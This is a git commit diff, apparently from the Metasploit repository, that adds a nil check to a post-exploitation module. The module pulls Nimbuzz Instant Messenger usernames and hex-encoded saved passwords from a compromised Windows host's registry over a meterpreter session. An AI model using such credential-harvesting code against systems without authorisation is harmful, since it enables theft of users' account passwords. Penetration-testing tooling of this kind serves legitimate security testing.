Chk nil for user in case it returns nil, but password doesn't
git-svn-id: file:///home/svn/framework3/trunk@13880 4d416f70-5f16-0410-b530-b9f4589650daunstable
parent
f1f1d16f8b
commit
39049a71ca
|
@ -17,21 +17,21 @@ class Metasploit3 < Msf::Post
|
|||
include Msf::Auxiliary::Report
|
||||
|
||||
def initialize(info={})
|
||||
super( update_info( info,
|
||||
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
|
||||
'Description' => %q{
|
||||
This module extracts the account passwords saved by Nimbuzz Instant
|
||||
Messenger in hex format.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
||||
'SecurityXploded Team', #www.SecurityXploded.com
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
super(update_info( info,
|
||||
'Name' => 'Windows Gather Nimbuzz Instant Messenger Password Extractor',
|
||||
'Description' => %q{
|
||||
This module extracts the account passwords saved by Nimbuzz Instant
|
||||
Messenger in hex format.
|
||||
},
|
||||
'License' => MSF_LICENSE,
|
||||
'Author' =>
|
||||
[
|
||||
'sil3ntdre4m <sil3ntdre4m[at]gmail.com>',
|
||||
'SecurityXploded Team', #www.SecurityXploded.com
|
||||
],
|
||||
'Version' => '$Revision$',
|
||||
'Platform' => [ 'windows' ],
|
||||
'SessionTypes' => [ 'meterpreter' ]
|
||||
))
|
||||
end
|
||||
|
||||
|
@ -58,7 +58,7 @@ class Metasploit3 < Msf::Post
|
|||
return
|
||||
end
|
||||
|
||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username")
|
||||
user = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Username") || ""
|
||||
hpass = registry_getvaldata("HKU\\#{k}\\Software\\Nimbuzz\\PCClient\\Application\\", "Password")
|
||||
|
||||
next if hpass == nil or hpass == ""
|
||||
|
|
Loading…
Reference in New Issue